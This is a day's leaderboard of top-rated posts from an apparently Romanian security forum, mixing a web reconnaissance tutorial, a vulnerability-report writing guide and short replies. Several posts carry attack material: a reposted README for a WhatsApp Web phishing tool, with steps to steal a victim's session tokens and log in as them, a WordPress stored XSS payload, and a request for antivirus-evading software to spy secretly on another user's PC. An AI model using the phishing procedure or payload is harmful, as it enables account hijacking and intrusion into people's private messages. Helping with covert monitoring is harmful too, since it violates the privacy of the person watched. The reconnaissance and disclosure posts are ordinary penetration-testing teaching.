Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 05/23/16 in all areas

  1. Tin de la inceput sa mentionez ca tutorialul este pentru aplicatii web. De-a lungul timpului am vazut numeroase persoane care, desi aveau cunostinte despre anumite vulnerabilitati web(de ce apar, cum se exploateaza, etc.), nu reuseau sa gaseasca mai nimic in aplicatii web reale. Acest lucru se datoreaza faptului ca au sarit peste o etapa esentiala a unui audit de securitate si anume, Information Gathering. Neavand o metodologie clara si un plan de atac bine stabilit, acestia nu erau in masura sa obtina date suficiente despre aplicatiile pe care le analizau iar ca urmare a acestui lucru nu reuseau sa identifice vulnerabilitatile. In acest tutorial vom discuta despre care sunt informatiile de care avem nevoie despre tinta si cum le putem afla astfel incat sa ne maximizam rezultatele. Asa cum spuneam la inceputul acestui tutorial, Information Gathering este etapa initiala a oricarui audit de securitate IT care poate face diferenta dintre succes si esec. Prin aceastea, pentesterul incearca sa obtina toate informatiile posibile despre tinta folosindu-se de diferite servicii (motoare de cautare, diferite utilitare, etc.). Intrucat nu exista un model standard, fiecare pentester este liber sa isi construiasca propria metodologie astfel incat rezultatele sa fie cat mai bune. In cele ce urmeaza voi prezenta modul in care obisnuiesc eu sa abordez o tinta atunci cand realizez un audit de securitate. 1.Motoarele de cautare Primul lucru pe care trebuie sa il faci este sa cauti informatii prin intermediul motoarelor de cautare folosindu-te de diferiti operatori de cautare. Astfel poti obtine subdomeniile, diferite fisiere, tehnologiile folosite de aplicatia web si chiar unele vulnerabilitati. Exemplu: diferite subdomenii ale yahoo.com Cei mai folositori operatori ai motorului de cautare Google sunt: site: - acest operator permite afisarea rezultatelor doar de pe un anumit domeniu si este extrem de folositor pentru descoperirea subdomeniilor. Exemplu: site:*.yahoo.com filetype: sau ext: limiteaza rezultatele afisand doar paginile care au o anumita extensie si pot fi folosite pentru a descoperi tehnologiile folosite in dezvoltarea aplicatiei web. Exemplu: site:*.yahoo.com ext:php – am limitat rezultatele cautarii la subdomeniile yahoo.com care au fisiere .php intext:<termen> limiteaza rezultatele afisand doar paginile in care se regaseste termenul specificat si poate fi folosit pentru a descoperi diferite vulnerabilitati. Exemplu: site:targetwebsite.com intext:”You have an error in your SQL syntax” site:targetwebsite.com intext:”Microsoft OLE DB Provider for SQL Server” site:targetwebsite.com intext:”Microsoft JET Database Engine” site:targetwebsite.com intext:”Type mismatch” site:targetwebsite.com intext:”Invalid SQL statement or JDBC” site:targetwebsite.com intext:”mysql_fetch_array()” site:targetwebsite.com intext:”mysql_” operatori logici: Google accepta anumiti operatori logici care de cele mai multe ori sunt foarte folositori. De exemplu, putem exclude din rezultate anumite subdomenii folosind operatorul - . Astfel, site:.yahoo.com -site:games.yahoo.com va returna subdomeniile yahoo.com, mai putin rezultatele care au legatura cu games.yahoo.com. Mai multe informatii despre operatorii de cautare pentru Google gasesti aici si aici. Pe langa motoarele de cautare obsnuite ca Google, Bing, Yahoo etc., foloseste si: Censys - Foarte folositor in descoperirea subdomeniilor Exemplu: https://www.censys.io/certificates?q=parsed.subject.organization%3A%22Yahoo%22 Shodan 2. Determinarea tehnologiilor folosite La acest pas va trebuie sa verifici daca: aplicatia web este protejata de vreun Web Application Firewall (WAF) Cel mai simplu mod prin care poti face acest lucru este folosind wafw00f: $ python watw00f2.py http://www.targetwebsite.com aplicatia web foloseste un Content Management System (CMS) open-source (Wordpress, Joomla, Drupal, etc.) Poti verifica acest lucru folosind whatweb, cms-explorer, CMSmap. $ whatweb -a 3 http://targetwebsite.com $ cms-explorer.pl -url http://targetwebsite.com/ -type wordpress Urmatorul pas consta in identificarea sistemului de operare, al tipului de WebServer (Apache, IIS) folosit de tinta si versiunea acestora. Daca versiunile celor doua sunt outdated, cel mai probabil exista cateva vulnerabilitati cunoscute (CVE) in acele produse. Poti descoperi acest lucru cu o simpla cautare pe http://cvedetails.com . Exemplu: Vulnerabilitatile cunoscute pentru Apache 2.3.1 Determinarea sistemului de operare se poate realiza foarte simplu folosind nmap. $ nmap -sV -O www.targetwebsite.com Metodele prin care poti identifica versiunea Webserver-ului sunt: Analizand output-ul cererilor HTTP care folosesc metoda HEAD, OPTIONS sau TRACE Raspunsul HTTP al unei cereri care foloseste una din metodele de mai sus va contine, de cele mai multe ori, si headerul Server. Analizand pagina de eroare 404 Folosind httprecon / httprint . Un alt aspect important il constituie tehnologia server-side folosita de tinta. Cel mai simplu mod in care aceasta poate fi descoperita este urmarind extensiile fisierelor. De exemplu, daca URL-ul tintei este http://targetwebsite.com/index.php , este clar ca aplicatia web a fost scrisa in limbajul PHP. Alte extensii specifice tehnologiilor server-side sunt: .py – Python .rb – Ruby .pl – Perl .php / .php3 / .php4 / .php5 / .phtml / .phps – PHP .asp – Active Server Pages (Microsoft IIS) .aspx – ASP+ (Microsoft .NET) .asmx – ASP.NET WebServer .cfm – ColdFusion .cfml – Cold Fusion Markup Language .do – Java Struts .action – Java Struts .jnpl – Java WebStart File .jsp – Java Server Page .nsf – Lotus Domino server In cazul in care extensiile nu sunt vizibile in URL, poti identifica tehnologia server-side folosita analizand cookie-ul pe care aplicatia web il seteaza. Exemplu: PHPSESSID=12355566788kk666l544 – PHP De asemenea, iti poti da seama daca o aplicatie web este scrisa in PHP si prin intermediul unui Easter Egg. Daca adaugi codul ?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 la finalul unui URL iar in pagina apare o imagine amuzanta inseamna ca aplicatia respectiva a fost dezvoltata folosind PHP. Bineinteles, acest Easter Egg poate fi dezactivat din php.ini. Mai multe informatii gasesti aici. 3. Identificarea fisierelor aplicatiei web La acest pas nu trebuie decat sa accesezi cat mai multe pagini alte aplicatiei web, fara a face nimic altceva. Viziteaza fiecare pagina insa nu uita sa conectezi browserul la Burp Suite pentru a se crea site-map-ul aplicatiei web. Astfel vei avea o evidenta mult mai clara asupra fisierelor pe care urmeaza sa le testezi. Foloseste Burp Spider pe langa navigarea manuala pentru a descoperi cat mai multe fisiere. PS: verifica daca exista fisierul robots.txt Dupa ce consideri ca ai navigat suficient printre fisierele aplicatiei web, trebuie sa descoperi fisierele ascunse. Exista numeroase aplicatii care te pot ajuta: Dirbuster Functia Discover Content a aplicatiei BurpSuite Wfuzz Patator Burp Intruder Liste de cuvinte pentru scripturile de mai sus: fuzzdb gitDigger svnDigger SecLists Urmatorul pas este sa iei la rand fiecare fisier gasit si sa incerci sa intelegi cum functioneaza aplicatia web respectiva. Pentru a-ti fi mai usor sa iti dai seama unde ar putea exista o vulnerabilitate, pune-ti urmatoarele intrebari: 1. In fisierul pe care il testezi, continutul se modifica in mod dinamic in functie de anumite criterii (valoarea unui parametru din URL, cookie, user agent etc.) ? Mai exact, este posibil ca in acel fisier aplicatia web sa foloseasca informatii dintr-o baza de date? Daca da, testeaza in primul rand pentru vulnerabilitatile de tip injection (SQL, XPATH, LDAP, etc.) insa nu neglija celelalte tipuri de vulnerabilitati. S-ar putea sa ai surprize. 2. Poti controla in vreun fel continutul paginii? Ceilalti utilizatori pot vedea datele pe care le introduci tu? Daca da, testeaza in special pentru vulnerabilitati de tip Cross Site Scripting si Content Spoofing. 3. Aplicatia web poate interactiona cu alte fisiere? Daca da, testeaza in special pentru Local File Inclusion. 4. In fisierul respectiv exista functii care necesita nivel sporit de securitate (cum ar fi formular de schimbare al emailului/parolei etc.)? Daca da, testeaza in special pentru Cross Site Request Forgery. Nu uita sa testezi fiecare parametru al fiecarui fisier pe care l-ai descoperit.
    3 points
  2. Nu ma pricep la PHP, insa asemanator, in Python, se face match / scrapping pe cod HTML / XML folosind xpath. Teoretic, codul asta ar face match (banuiesc ca functia click va face click pe link) pe tag-urile HTML, de tipul <a>, care contin atributul title. Gasesti mai multe aici Ca un rezumat: // - defineste un path catre "nodul" / "tagul" <a> oriunde in HTML / XML. @ - e doar un indicator catre atributul cautat ( in cazul tau, title ) Repet, nu stiu daca e vorba de acelasi lucru, dar seamana
    1 point
  3. Vad ca nu suntem singurul forum pe unde cersesti si bagi scam.. Jet in crucea ma-tii de milog si pune mana pe un abecedar! Ban permanent.
    1 point
  4. This is pretty useful too https://www.robtex.com/
    1 point
  5. Asta nu e o oferta cum gasesti pe fiverr cu 5$? Imi poti da exemplu pe PM de un astfel de link (.edu)? Merci
    1 point
  6. Da. Metoda se cheama "Da-i drumu la munca si lasa prostiile" Ontopic: Social Engineering.
    1 point
  7. Whatsapp phishing This repo contains proof of principle code for running a phishing attack against the official Whatsapp Web client. I also wrote about it on my German blog Whatsapp what? http://www.whatsapp.com/faq/web/28080003 Short: A web client for Whatsapp. You log in by scanning a QR code on there page using Whatsapp What does it do It will extract the QR code from Whatsapp Web and display it on a new page. If someone scans the code using Whatsapp it will grab the credentials from the web client and save them in a file. You can use these credentials to log yourself in as the person who scanned to QR code. How does it work The program uses node.js and socket.io for the website and selenium, a tool for scripting browsers, to communicate with the Whatsapp web client. The program starts a http and a socket.io server. If a new client connects to socket.io the application will make a request to a selenium instance to start a new browser and connect to web.whatsapp.com. It will fetch the QR code data and send it to the client via the websocket connection. The client javascript then shows the QR code to the user. If the QR code gets scanned Whatsapp will authenticate the selenium controlled browser and store some tokens in the localStorage and document.cookie. We extract that data and save it into a text file. It will look like so: { "s":{ "remember-me":"true", "WAVersion":"\"0.1.4391\"", "qwefsdafadsdf==":"false", "debugCursor":"146", "WAWamDimensionCache":"{\"AppVersion\":\"0.1.4391\",\"BrowserVersion\":\"Firefox 39.0\",\"DeviceName\":\"Linux x86_64\",\"WebcEnv\":0}", "WAToken2":"\"0.asldkamäsdflkasdfasdf\"", "WAWamLastRotate":"1439140177924", "WALangPref":"\"de-DE\"", "WAWamStatus":"\"completed\"", "y8fY/zQ8P+asdfadfg==":"[ ... ]", "WAToken1":"\"asdf+ams,dfhlaskdjfhasdfasdf=\"", "Dexie.DatabaseNames":"[\"wawc\"]", "storage_test":"storage_test", "LKAJsdlksdjfasdf==":"false", "logout-token":"\"alkjsdhfkjashldkjpweoaLKNKASBkasjbdaksdjLKjhhndosiaosa;AljkhJKhlKAJShkljqjDJSAOlkjbnhasdklWAdm==\"", "ver":"1", "whatsapp-mutex":"\"x781239870495:init0.987123490234\"", "WASecretBundle":"{\"key\":\"sldkfjsdf+asdlfijlasdkjfasdf=\",\"encKey\":\"asldkfjasldkfjsdfsdf0=\",\"macKey\":\"a,sdfasdf+alskdjföalskdhiopasdf=\"}", "WABrowserId":"\"aö,ksdjflöasdf==\"" }, "c":"" } You can than import these tokens into your browser and log in as the person who scanned the QR code. Instructions Download the selenium standalone server jar file and install Firefox if you don't already have it. Type the following into your terminal: $ java -jar selenium-server.jar $ # new terminal $ git clone https://github.com/Mawalu/whatsapp-phishing.git $ cd whatsapp-phishing $ npm install $ node index.js Open your browser and go to http://localhost:8080 Start Whatsapp on your smartphone, go to Menu > Whatsapp Web and scan the QR code from your browser. Copy the content from the newly created secrets file Open web.whatsapp.com. (Watch out that you are not already logged in, maybe use incognito mode) Open your developer console Enter the following code: > var t = CONTENT_OF_YOUR_SECRETS_FILE > function login(token) {Object.keys(token.s).forEach(function (key) {localStorage.setItem(key, token.s[key])}); token.c = token.c.split(';'); token.c.forEach(function(cookie) {document.cookie = cookie; });} > login(t) Reload the page You should be logged in as the person who scanned the QR code Disclaimer Whatsapp messages are meant to be private. Just because the NSA reads everything it doesn't mean you should do as well! Everything in this repo is for education purpose only and I am not responsible if you use it otherwise. Author: Martin Wagner (Mawalu) Download ZIP https://github.com/Mawalu/whatsapp-phishing
    1 point
  8. Wordpress <= 4.3 Stored XSS [caption width="1" caption='<img src="//google.com/favicon.ico?' ">]</a><a href="http://onload='alert(1)'"> PS: Nu l-am testat.
    1 point
  9. Am vrut sa fac un share la cateva sfaturi care le-am invatat pe parcus , pentru intocmirea unui raport de vulnerabilitate. Ma adreses doar persoanelor care vor sau au facut aceasta actiune. Sa luam un exemplu : Adresa : shop.domain.biz Vulnerabilitate: XSS in "index.php?search=" Metoda de raport: email Nu folosesc un standard,dar in general incerc sa il fac cat mai simplu: Subiectul: Nota: Subiectul este unul simplu,nu trebuie incarcat cu informatii inutile. Raportul: Nota: 1) Daca doriti sa scrieti ceva despre dumneavoastra,puteti sa scrieti in semnatura ,in genul: Daca ati trimis la un site care are HoF (Hall of Fame) o sa vina un reply cu: -Daca doriti ca numele dumneavoastra sa apara in HoF-ul lor -Numele dumneavoastra -Numele companiei in cadrul caruia lucrati -Adresa web a companiei respective 2) Daca folositi un email care are alt nume decat al vostru , o probabilitate este sa il folosesca numele extras din email la reply . (Da,s-a intamplat acest lucru ). 3) Daca doriti sa valideze mult mai repede raportul , incercati sa gasiti departamentul in clauza , cat si un email al unui Chief si il puneti in "BCC" 4) Sa nu asteptati sa primiti un reply in scurt timp,dar la "firmele" mari in jur de o saptamana (in functie de vulnerabilitate si in ce domeniu este) pana cand il valideaza si il redirectioneaza catre departamentul in clauza. 5) Exploitul/bug-ul trebuie testat/executat intr-un mediu controlat de dumneavoastra care nu are tangenta cu alti utilizatori sau sa malformeze buna desfasure a site-ului pe o periodata foarte lunga . Daca nu aveti un email la care sa trimiti un raport,puteti sa folositi si "Contact form"-ul lor ,dar: -Cand introduceti vectorul in raport pentru demonstratie,s-ar putea sa il filtreze/scoata din email (ex: Vodafone,cand am primit un reply , vectorul din raport era filtrat/scos) -O probabilitate mica este scoaterea aliniatelor (caz real la eBay) si distruge aspectul comercial. -Puteti primi un email de confirmare pentru instiintarea ca a fost primit sau trimis la un departament Alte aspecte: Dupa cum a-ti observat raportul este scris in engleza deoarece sunt mai multe sanse sa prezinta cineva interes si sa inteleaga problema din exteriorul Romaniei . Dupa cum a reamintit Andrei Avadanei , nu toti au aceasi idee cand primesc un asemenea raport, servicile cu care am colaborat erau "HoF"-uri sau programe gen "Bug Bounty" . La restu nu am primit nici un fel de multumire dar nici nu am asteptat la asa ceva,dar posibil sunt "firme" care vad un atac prin acest email . Daca credeti ca instiintarea dumneavoastra poate sa aiba efecte negative , sunt si alte metode. Daca aveti alte informati ,precum: intrebari/intamplari/opini/alte rapoarte, la care puteti sa da-ti un "share" pentru comunitate , aveti ocazia prin acest thread. Update #1: -In cazul in care colaborati cu firme care are programul de Bug Bounty activ ,din strainatate (gen Google) si va cere formularul W-8BEN , pentru a va tranfera bani, se va completa astfel: Optional: Printati formularul , il completati citabil , il scanati si il trimiteti. Update #2: -In cazul "Bug Bounty"-ul de la PayPal , contul poate sa aiba si statusul de "Unverified" ATENTIE! Este important sa stiti ca transferul de bani se face in email-ul prin care ati trimis raportul , deoarece nu iti vor cere email-ul in care doriti sa va transfera bani. Update #3: -Daca gasiti ceva in att.com , raportul dumneavoastra nu este luat in considerare daca nu sunteti inregistrati in programul "AT&T Developer API Program" , care costa 99$ Am avut tangenta ,dar nimic confirmat nici un fel de feedback. Recent am aflat ca trebuie sa fiu inscris in programul respectiv ca sa imi valideze rapoartele Va multumesc pentru atentia acordata!
    1 point
  10. Salut ! Am un utilizator care creaza problema si as dori sa ii vad online activitatea la PC, cu tot ceea ce face si acceseaza website (eventual printscreen). Idee este ca imi trebuie ceva ce nu este detectabil de antivirusi, mai avansat, nu ceva comun (gen keylogger) Orice sugestie este binevenita......
    -1 points
×
×
  • Create New...